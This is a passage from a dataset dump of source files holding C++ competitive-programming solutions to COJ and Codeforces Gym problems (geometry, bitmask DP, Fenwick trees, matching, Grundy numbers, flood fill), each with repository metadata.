(m--) {\r\n\t\tscanf(\"%lld%s\", &f, let);\r\n\t\tchar c = let[0];\r\n\t\tc = c - 'A' + 1;\r\n\t\tLL a = f - 1LL, b = f;\r\n\t\tif (a % 2LL == 0LL) a /= 2LL;\r\n\t\telse b /= 2LL;\r\n a %= sz;\r\n b %= sz;\r\n LL lo = (a * b) % sz;\r\n if (lo == 0LL) lo = sz - 1LL;\r\n else lo--;\r\n\r\n LL ret;\r\n\r\n if (f < sz - 1LL - lo) {\r\n LL hi = (lo + (f % sz)) % sz;\r\n ret = ac[c][hi] - ac[c][lo];\r\n } else {\r\n ret = ac[c][sz - 1] - ac[c][lo];\r\n f -= (sz - 1LL - lo);\r\n ret += ac[c][sz - 1] * (f / sz);\r\n f %= sz;\r\n if (f != 0LL) ret += ac[c][f - 1LL];\r\n }\r\n\t\tprintf(\"%lld\\n\", ret);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4058642089366913, "alphanum_fraction": 0.4372428059577942, "avg_line_length": 24.630136489868164, "blob_id": "6e2b11677253c0a16f0dea1bafd80af0518a56ba", "content_id": "65cf56ec742eacf717cf64ae14e4f72aaa83104f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1944, "license_type": "no_license", "max_line_length": 97, "num_lines": 73, "path": "/COJ/eliogovea-cojAC/eliogovea-p1572-Accepted-s628523.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst double eps = 1e-9;\r\nconst int MAXN = 20;\r\n\r\nvoid mini(double a, double &b) {\r\n\tif (a < b) b = a;\r\n}\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double xx, double yy) : x(xx), y(yy) {}\r\n};\r\n\r\ndouble cross(pt &a, pt &b, pt &c) {\r\n\treturn (b.x - a.x) * (c.y - a.y) - (b.y - a.y) * (c.x - a.x);\r\n}\r\n\r\ndouble dist(pt &a, pt &b) {\r\n\treturn sqrt((a.x - b.x) * (a.x - b.x) + (a.y - b.y) * (a.y - b.y));\r\n}\r\n\r\npt center(pt &A, pt &B, pt &C) {\r\n\tdouble a1 = 2.0 * (B.x - C.x);\r\n\tdouble b1 = 2.0 * (B.y - C.y);\r\n\tdouble c1 = C.x * C.x + C.y * C.y - B.x * B.x - B.y * B.y;\r\n\tdouble a2 = 2.0 * (A.x - C.x);\r\n\tdouble b2 = 2.0 * (A.y - C.y);\r\n\tdouble c2 = C.x * C.x + C.y * C.y - A.x * A.x - A.y * A.y;\r\n\treturn pt((c2 * b1 - c1 * b2) / (b2 * a1 - a2 * b1), (a1 * c2 - a2 * c1) / (a2 * b1 - a1 * b2));\r\n}\r\n\r\nint tc, n;\r\ndouble x, y;\r\nvector<pt> pts, centers;\r\ndouble dp[1 << MAXN][MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tpts.clear();\r\n\t\tcenters.clear();\r\n\t\tscanf(\"%d\", &n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tscanf(\"%lf%lf\", &x, &y);\r\n\t\t\tpts.push_back(pt(x, y));\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < i; j++)\r\n\t\t\t\tfor (int k = 0; k < j; k++)\r\n\t\t\t\t\tif (fabs(cross(pts[i], pts[j], pts[k])) > eps)\r\n\t\t\t\t\t\tcenters.push_back(center(pts[i], pts[j], pts[k]));\r\n\t\tint cc = centers.size();\r\n\t\tfor (int mask = 0; mask < (1 << cc); mask++)\r\n\t\t\tfor (int i = 0; i < cc; i++)\r\n\t\t\t\tdp[mask][i] = 1e9;\r\n\t\tfor (int i = 0; i < cc; i++)\r\n\t\t\tdp[1 << i][i] = 0;\r\n\t\tfor (int mask = 1; mask < (1 << cc); mask++)\r\n\t\t\tfor (int i = 0; i < cc; i++)\r\n\t\t\t\tif (mask & (1 << i))\r\n\t\t\t\t\tfor (int j = 0; j < cc; j++)\r\n\t\t\t\t\t\tif (!(mask & (1 << j)))\r\n\t\t\t\t\t\t\tmini(dp[mask][i] + dist(centers[i], centers[j]), dp[mask | (1 << j)][j]);\r\n\t\tdouble sol = 1e9;\r\n\t\t//cout << cc << endl;\r\n\t\tfor (int i = 0; i < cc; i++)\r\n\t\t\tmini(dp[(1 << cc) - 1][i], sol);\r\n\t\tprintf(\"%.4lf\\n\", cc ? sol : 0);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32290616631507874, "alphanum_fraction": 0.35620585083961487, "avg_line_length": 20.54347801208496, "blob_id": "a5b6fab5eb14834633f37100e65ae195b79b8d66", "content_id": "69baec3927e43a88ccb894a4d131fbffe2ce65b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 991, "license_type": "no_license", "max_line_length": 56, "num_lines": 46, "path": "/Codeforces-Gym/100792 - 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100792C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n int lo = 1;\n int hi = 1e9;\n int x = 0;\n int y = 0;\n int ans;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n cout << mid - 1 << \" \" << y << endl;\n cin >> ans;\n cout << mid << \" \" << y << endl;\n cin >> ans;\n if (ans == 1) {\n x = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n lo = 1;\n hi = 1e9;\n while (lo <= hi) {\n int mid = (lo + hi) >> 1;\n cout << x << \" \" << mid - 1 << endl;\n cin >> ans;\n cout << x << \" \" << mid << endl;\n cin >> ans;\n if (ans == 1) {\n y = mid;\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n cout << \"A \" << x << \" \" << y << endl;\n}\n" }, { "alpha_fraction": 0.2976190447807312, "alphanum_fraction": 0.32676517963409424, "avg_line_length": 15.276596069335938, "blob_id": "c9b872199ba9b410a56ae92dbea34f5a7e667bc1", "content_id": "1f3b3f5803a9b1d3cc4f18f805a2681bfffc0b17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2436, "license_type": "no_license", "max_line_length": 41, "num_lines": 141, "path": "/COJ/eliogovea-cojAC/eliogovea-p3297-Accepted-s815566.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nint n, k;\r\n\r\nint bit[N];\r\n\r\ninline void update(int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\ninline int query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline int f(int x) {\r\n int lo = 1;\r\n int hi = n;\r\n int res = -1;\r\n while (lo <= hi) {\r\n int m = (lo + hi) >> 1;\r\n if (query(m) >= x) {\r\n res = m;\r\n hi = m - 1;\r\n } else {\r\n lo = m + 1;\r\n }\r\n }\r\n return res;\r\n}\r\n\r\nint ans[N];\r\n\r\nint solve() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tbit[i] = 0;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tupdate(i, 1);\r\n\t}\r\n\tint cur = 1;\r\n\tint res;\r\n\tint dir = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint x;\r\n\t\tint cnt = query(cur);\r\n\t\t//cout << \"cnt = \" << cnt << \"\\n\";\r\n\t\tint tot = n + 1 - i;\r\n\t\tint kk = k % tot;\r\n\t\tif (dir == 1) {\r\n\t\t\t\t\t\t\tif (cnt - 1 + kk <= tot) {\r\n\t\t\t\t\t\t\t\t\tx = cnt - 1 + kk;\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\tx = kk - (tot - (cnt - 1));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (x == 0) {\r\n\t\t\t\t\t\t\t\t\tx = tot;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t//cout << \"x = \" << x << \"\\n\";\r\n\t\t\t\t\t\t\tint p1 = f(x);\r\n\t\t\t\t\t\t\tint p2 = f(x != tot ? x + 1 : 1);\r\n\t\t\t\t\t\t\tupdate(p1, -1);\r\n\t\t\t\t\t\t\tres = p1;\r\n\t\t\t\t\t\t\tcur = p2;\r\n\t\t\t\t\t\t\t//cout << p1 << \" \" << p2 << \"\\n\";\r\n\t\t} else {\r\n\t\t\t\tif (cnt >= kk) {\r\n\t\t\t\t\t\t\t\t\tx = cnt - kk + 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t\tx = tot - (kk - cnt) + 1;\r\n\t\t\t\t}\r\n\t\t\t\tif (x == tot + 1) {\r\n\t\t\t\t\t\t\t\t\tx = 1;\r\n\t\t\t\t}\r\n\t\t\t\tint p1 = f(x);\r\n\t\t\t\tint p2 = f(x != 1 ? x - 1 : tot);\r\n\t\t\t\tres = p1;\r\n\t\t\t\tupdate(p1, -1);\r\n\t\t\t\tcur = p2;\r\n\t\t\t\t//cout << p1 << \" \" << p2 << \"\\n\";\r\n\t\t}\r\n\t\tdir ^= 1;\r\n\t\t//cout << ans << \"\\n\";\r\n\t}\r\n\tans[k] = res;\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\twhile (cin >> n >> k) {\r\n\t\tif (n == 0 && k == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tif (k == 1) {\r\n\t\t\tif (n == 1) {\r\n\t\t\t\tcout << \"1\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tcout << (n + 1) / 2 + 1 << \"\\n\";\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (k == 2) {\r\n\t\t\tif (n == 2) {\r\n\t\t\t\tcout << \"1\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tcout << n / 2 + 2 << \"\\n\";\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (ans[k] != 0) {\r\n\t\t\tif ((n - k) & 1) {\r\n\t\t\t\tcout << k + 1 - ans[k] << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tcout << ans[k] << \"\\n\";\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint v = n;\r\n\t\tn = k;\r\n\t\tint x = solve();\r\n\t\tif ((v - k) & 1) {\r\n\t\t\tcout << k + 1 - ans[k] << \"\\n\";\r\n\t\t} else {\r\n\t\t\tcout << ans[k] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36432161927223206, "alphanum_fraction": 0.3924623131752014, "avg_line_length": 16.773584365844727, "blob_id": "44ce4ad1954aa3021491156e6f880999c4e9e2b3", "content_id": "1ca9b92e84253fefeebfb073d0184ccca8673de7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1990, "license_type": "no_license", "max_line_length": 57, "num_lines": 106, "path": "/COJ/eliogovea-cojAC/eliogovea-p3028-Accepted-s1120032.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 500 * 1000 + 10;\r\nconst int INF = 1e9;\r\n\r\nint g[N];\r\nvector <int> rg[N];\r\n\r\nbool in_cycle[N];\r\n\r\nbool visited[N];\r\n\r\nint val[N][2];\r\n\r\nint solve(int u, bool x) {\r\n // cerr << \"in dfs: \" << u << \"\\n\";\r\n\tvisited[u] = true;\r\n\tif (val[u][x] != -1) {\r\n return val[u][x];\r\n\t}\r\n\tint res = x ? 1 : 0;\r\n\tfor (int i = 0; i < rg[u].size(); i++) {\r\n\t\tint v = rg[u][i];\r\n\t\tif (in_cycle[v]) {\r\n continue;\r\n\t\t}\r\n\t\tif (x) {\r\n\t\t\tres += solve(v, false);\r\n\t\t} else {\r\n\t\t\tres += max(solve(v, true), solve(v, false));\r\n\t\t}\r\n\t}\r\n\tval[u][x] = res;\r\n\treturn res;\r\n}\r\nint dp[N][2];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> g[i];\r\n\t\tg[i]--;\r\n\t\trg[g[i]].push_back(i);\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n val[i][0] = val[i][1] = -1;\r\n\t}\r\n\r\n\tint answer = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (!visited[i]) {\r\n\t\t\tint x = i;\r\n\t\t\tvisited[x] = true;\r\n\t\t\twhile (!visited[g[x]]) {\r\n\t\t\t\tvisited[g[x]] = true;\r\n\t\t\t\tx = g[x];\r\n\t\t\t}\r\n\t\t\tfor (int y = g[x]; true; y = g[y]) {\r\n\t\t\t\tin_cycle[y] = true;\r\n\t\t\t\tif (y == x) {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// cerr << i << \" \" << x << \"\\n\";\r\n\t\t\tfor (int y = g[x]; true; y = g[y]) {\r\n\t\t\t\tval[y][0] = solve(y, 0);\r\n\t\t\t\tval[y][1] = solve(y, 1);\r\n\t\t\t\tif (y == x) {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// cerr << \"---\\n\";\r\n\t\t\t// usando el primero\r\n\t\t\tdp[x][0] = -INF;\r\n\t\t\tdp[x][1] = val[x][1];\r\n\t\t\tint y;\r\n\t\t\tfor (y = x; g[y] != x; y = g[y]) {\r\n\t\t\t\tdp[g[y]][0] = val[g[y]][0] + max(dp[y][0], dp[y][1]);\r\n\t\t\t\tdp[g[y]][1] = val[g[y]][1] + dp[y][0];\r\n\t\t\t}\r\n\t\t\tint v1 = dp[y][0];\r\n\r\n\t\t\t// sin usar el primero\r\n\t\t\tdp[x][0] = val[x][0];\r\n\t\t\tdp[x][1] = -INF;\r\n\t\t\tfor (y = x; g[y] != x; y = g[y]) {\r\n\t\t\t\tdp[g[y]][0] = val[g[y]][0] + max(dp[y][0], dp[y][1]);\r\n\t\t\t\tdp[g[y]][1] = val[g[y]][1] + dp[y][0];\r\n\t\t\t}\r\n\r\n\t\t\tint v2 = max(dp[y][0], dp[y][1]);\r\n\r\n\t\t\tanswer += max(v1, v2);\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3357771337032318, "alphanum_fraction": 0.35923752188682556, "avg_line_length": 13.860465049743652, "blob_id": "ebd0172e74c5c8b8bb3d8f786c0a45b32664574f", "content_id": "9d9e144173aa0825c9984da928cbc138d934d086", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 682, "license_type": "no_license", "max_line_length": 35, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2633-Accepted-s529048.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstdio>\r\n#include<cmath>\r\n#include<algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst double PI = 3.14159;\r\n\r\nchar c;\r\nint cant;\r\ndouble r,h,v,mx;\r\n\r\n\r\n\r\nint main()\r\n{\r\n cin >> cant;\r\n for(int i=0; i<cant; i++)\r\n {\r\n cin >> c;\r\n if(c=='S')\r\n {\r\n cin >> r;\r\n v=4.0*PI*r*r*r/3.0;\r\n }\r\n else if(c=='L')\r\n {\r\n cin >> r >> h;\r\n v=PI*r*r*h;\r\n }\r\n else if(c=='C')\r\n {\r\n cin >> r >> h;\r\n v=PI*r*r*h/3.0;\r\n }\r\n //printf(\"%c %.3lf\\n\",c,v);\r\n mx=max(mx,v);\r\n }\r\n\r\n printf(\"%.3lf\\n\",mx);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.30663615465164185, "alphanum_fraction": 0.31350114941596985, "avg_line_length": 14.807692527770996, "blob_id": "9c6168215c0d64b83ae741e52534d3366fb4e21b", "content_id": "40417df00608c6782a574376b9fb875cb5f6ef3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 437, "license_type": "no_license", "max_line_length": 33, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2425-Accepted-s483549.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nint n,a,b,ma,mb;\r\ndouble m,aux;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n) && n)\r\n {\r\n for(int i=0; i<n; i++)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n aux=(double)b*log(a);\r\n if(aux>m)\r\n {\r\n m=aux;\r\n ma=a;\r\n mb=b;\r\n }\r\n }\r\n printf(\"%d %d\\n\",ma,mb);\r\n \r\n m=0;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.43227991461753845, "alphanum_fraction": 0.4695259630680084, "avg_line_length": 24.058822631835938, "blob_id": "10ef7b916e0a7a6529b517264b69723431ed7a23", "content_id": "7caeabb722e53e91ecbf34d812f025546faec331", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 886, "license_type": "no_license", "max_line_length": 62, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p3328-Accepted-s861083.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ndouble solve1(double r1, double r2) {\r\n double OB = (r1 + r2) * r2 / (r1 - r2);\r\n double OA = OB + r1 + r2;\r\n double area = r1 * sqrt(OA * OA - r1 * r1);\r\n double angle = acos(r1 / OA);\r\n area -= r1 * r1 * angle;\r\n const double eps = 1e-9;\r\n double cur = r2;\r\n double len = OB;\r\n while (M_PI * cur * cur >= eps) {\r\n area -= M_PI * cur * cur;\r\n double newcur = (cur * len - cur * cur) / (len + cur);\r\n double newlen = len - cur - newcur;\r\n cur = newcur;\r\n len = newlen;\r\n }\r\n return area;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n int r1, r2;\r\n while (cin >> r1 >> r2) {\r\n if (r1 == 0 && r2 == 0) break;\r\n cout.precision(13);\r\n cout << solve1(r1, r2) << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3618524372577667, "alphanum_fraction": 0.3948194682598114, "avg_line_length": 15.216216087341309, "blob_id": "88d4eca66a76b5877d02612a6acb679b99fa8d35", "content_id": "43712d5dc0b8ebfa00b2352dad68b825ef52cf44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1274, "license_type": "no_license", "max_line_length": 79, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p3653-Accepted-s951977.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 300;\r\n\r\nint n;\r\nint X1[N], X2[N], Y1[N], Y2[N];\r\n\r\ninline bool inter(int a, int b) {\r\n\treturn (X1[a] <= X1[b] && X1[b] <= X2[a] && Y1[b] <= Y1[a] && Y1[a] <= Y2[b]);\r\n}\r\n\r\nvector <int> g[N];\r\n\r\nint used[N], id;\r\nint match[N];\r\n\r\nbool dfs(int u) {\r\n\tif (used[u] == id) {\r\n\t\treturn false;\r\n\t}\r\n\tused[u] = id;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (match[v] == -1 || dfs(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> X1[i] >> Y1[i] >> X2[i] >> Y2[i];\r\n\t\tif (X1[i] > X2[i]) {\r\n\t\t\tswap(X1[i], X2[i]);\r\n\t\t}\r\n\t\tif (Y1[i] > Y2[i]) {\r\n\t\t\tswap(Y1[i], Y2[i]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n match[i] = -1;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint hor = (Y1[i] == Y2[i]);\r\n\t\tif (hor) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tint ver = (X1[j] == X2[j]);\r\n\t\t\t\tif (ver) {\r\n\t\t\t\t\tif (inter(i, j)) {\r\n\t\t\t\t\t\tg[i].push_back(j);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint hor = (Y1[i] == Y2[i]);\r\n\t\tif (hor) {\r\n\t\t\tid++;\r\n\t\t\tif (dfs(i)) {\r\n\t\t\t\tans--;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.432273268699646, "alphanum_fraction": 0.47585394978523254, "avg_line_length": 14.326923370361328, "blob_id": "2814994c31760030969eda530b8cffc095cb5f06", "content_id": "4e3937e3c2be9e457827a43a9af565731806d97b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 849, "license_type": "no_license", "max_line_length": 47, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3743-Accepted-s1114410.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000 * 1000;\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint fact[N + 5];\r\nint invFact[N + 5];\r\nint sum[N + 5];\r\n\r\nint n;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfact[0] = 1;\r\n\tinvFact[0] = 1;\r\n\tsum[0] = invFact[0];\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfact[i] = mul(fact[i - 1], i);\r\n\t\tinvFact[i] = power(fact[i], MOD - 2);\r\n\t\tsum[i] = sum[i - 1];\r\n\t\tadd(sum[i], invFact[i]);\r\n\t}\r\n\twhile (cin >> n) {\r\n\t\tcout << mul(fact[n - 2], sum[n - 2]) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4908290505409241, "alphanum_fraction": 0.5289801955223083, "avg_line_length": 19.96923065185547, "blob_id": "d79638b371c470d8bd6a5f5282c6faccce68d930", "content_id": "d3ddf88809c87b5dc7a5cd81a9a79e4c5e36825a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 73, "num_lines": 65, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147A\n\n/*\n\tProblem A. The game of Osho\n\tACM International Collegiate Programming Contest,\n\tEgyptian Collegiate Programming Contest (2016) Arab Academy for Science,\n\tTechnology and Maritime Transport - Alexandria, November 9th, 2016\n*/\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nvoid check(int base, int limit) {\n\tvector <int> grundy(limit + 1);\n\tvector <int> used(limit + 1, -1);\n\tfor (int i = 0; i <= limit; i++) {\n\t\tfor (int j = 1; j <= i; j *= base) {\n\t\t\tused[grundy[i - j]] = i;\n\t\t}\n\t\tgrundy[i] = 0;\n\t\twhile (used[grundy[i]] == i) {\n\t\t\tgrundy[i]++;\n\t\t}\n\t\t//cerr << i << \" \" << grundy[i] << \"\\n\";\n\t\tassert(!(base & 1) && grundy[i] == grundy[i % (base + 1)]);\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"powers.in\", \"r\", stdin);\n\t// check(4, 1000);\n\t// parece cumplirse que:\n\t// si b es par\n\t// grundy(b, n) = grundy(b, n % (b + 1))\n\t// grundy(b, b) = 2\n\t// grundy(b, n) = n & 1 con b < n\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint g;\n\t\tcin >> g;\n\t\tint xorSum = 0;\n\t\twhile (g--) {\n\t\t\tint b, n;\n\t\t\tcin >> b >> n;\n\t\t\tint grundy = 0;\n\t\t\tif (b & 1) {\n\t\t\t\tgrundy = n & 1;\n\t\t\t} else {\n\t\t\t\tn %= b + 1;\n\t\t\t\tif (n == b) {\n\t\t\t\t\tgrundy = 2;\n\t\t\t\t} else {\n\t\t\t\t\tgrundy = n & 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\txorSum ^= grundy;\n\t\t}\n\t\tcout << ((xorSum != 0) ? \"1\" : \"2\") << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.35605454444885254, "alphanum_fraction": 0.3873295783996582, "avg_line_length": 16.611940383911133, "blob_id": "62f5077dcadaa990941afd64f02b44eb5b9b64ba", "content_id": "36afb6d331987ec6ae5471733d070d27d565cece", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1247, "license_type": "no_license", "max_line_length": 60, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p2094-Accepted-s545612.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\nusing namespace std;\r\n\r\nconst int mov[4][2]={1,0,-1,0,0,1,0,-1};\r\n\r\nint n,m,cant,mx;\r\nchar line[100010];\r\nvector<vector<char> > mat;\r\nqueue<pair<int,int> > Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&m);\r\n\tmat.resize(n+2);\r\n\tfor(int i=0; i<=n+1; i++)\r\n\t\tmat[i].resize(m+2);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%s\",line+1);\r\n\t\tfor(int j=1; j<=m; j++)\r\n\t\t\tmat[i][j]=line[j];\r\n\t}\r\n\r\n\t/*for(int i=0; i<=n+1; i++)\r\n {\r\n for(int j=0; j<=m+1; j++)\r\n printf(\"%c\",mat[i][j]!=(char(0))?mat[i][j]:'x');\r\n printf(\"\\n\");\r\n }*/\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tfor(int j=1; j<=m; j++)\r\n\t\t\tif(mat[i][j]=='1')\r\n\t\t\t{\r\n\t\t\t\tcant++;\r\n\t\t\t\tint k=0;\r\n\t\t\t\tmat[i][j]='0';\r\n\t\t\t\tQ.push(make_pair(i,j));\r\n\r\n\t\t\t\twhile(!Q.empty())\r\n\t\t\t\t{\r\n\t\t\t\t\tint ii=Q.front().first,\r\n\t\t\t\t\t\tjj=Q.front().second;\r\n\r\n k++;\r\n\r\n\t\t\t\t\tQ.pop();\r\n\r\n\t\t\t\t\tfor(int k=0; k<4; k++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tint ni=ii+mov[k][0];\r\n\t\t\t\t\t\tint nj=jj+mov[k][1];\r\n\t\t\t\t\t\tif(mat[ni][nj]=='1')\r\n {\r\n mat[ni][nj]='0';\r\n Q.push(make_pair(ni,nj));\r\n }\r\n\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tmx=max(mx,k);\r\n\t\t\t}\r\n\tprintf(\"%d %d\\n\",cant,mx);\r\n}\r\n" }, { "alpha_fraction": 0.43758389353752136, "alphanum_fraction": 0.4483221471309662, "avg_line_length": 17.605262756347656, "blob_id": "2ef8d3d0e46bf52334a3a974082b96385e4d2ba4", "content_id": "6f0baa947c469a754f6e9a07175e698afde7961c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 745, "license_type": "no_license", "max_line_length": 62, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2233-Accepted-s658395.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tint x, 